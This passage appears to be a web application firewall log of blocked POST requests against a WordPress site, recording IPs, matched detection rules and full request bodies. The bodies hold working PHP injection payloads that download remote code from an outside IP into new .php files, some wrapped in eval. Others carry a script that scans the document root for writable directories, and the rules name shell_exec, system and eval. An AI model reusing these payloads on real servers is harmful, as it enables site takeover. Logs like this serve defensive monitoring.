3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-length:176\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nQw=%3C%3Fphp%20%20file_put_contents%28%27testingheader.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/BgkSaScNUr%27%29%29%3B"]
["2026-05-12 13:03:38","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CA:%3C%3Fphp%20%20file_put_contents%28%27autoblogged.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PKQLNPVhQY%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\ncontent-length:174\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nCA=%3C%3Fphp%20%20file_put_contents%28%27autoblogged.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PKQLNPVhQY%27%29%29%3B"]
["2026-05-12 13:04:19","154.26.133.65","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oY:%3C%3Fphp%20%20file_put_contents%28%27File_Operations.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/hQYPvOPutG%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncontent-length:178\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\noY=%3C%3Fphp%20%20file_put_contents%28%27File_Operations.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/hQYPvOPutG%27%29%29%3B"]
["2026-05-12 13:05:11","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aK:%3C%3Fphp%20%20file_put_contents%28%27ele_html.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/CLbYrwvlcv%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\ncontent-length:171\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\naK=%3C%3Fphp%20%20file_put_contents%28%27ele_html.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/CLbYrwvlcv%27%29%29%3B"]
["2026-05-12 13:05:16","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27jinc.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MvuNTFIvib%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:190\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27jinc.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MvuNTFIvib%27%29%29%3B\"));"]
["2026-05-12 13:17:17","121.200.216.56","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> nr:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoaVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3339\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\n\nnr=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:23:08","152.228.218.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Mi:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3339\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\n\nMi=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:24:24","52.221.129.59","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 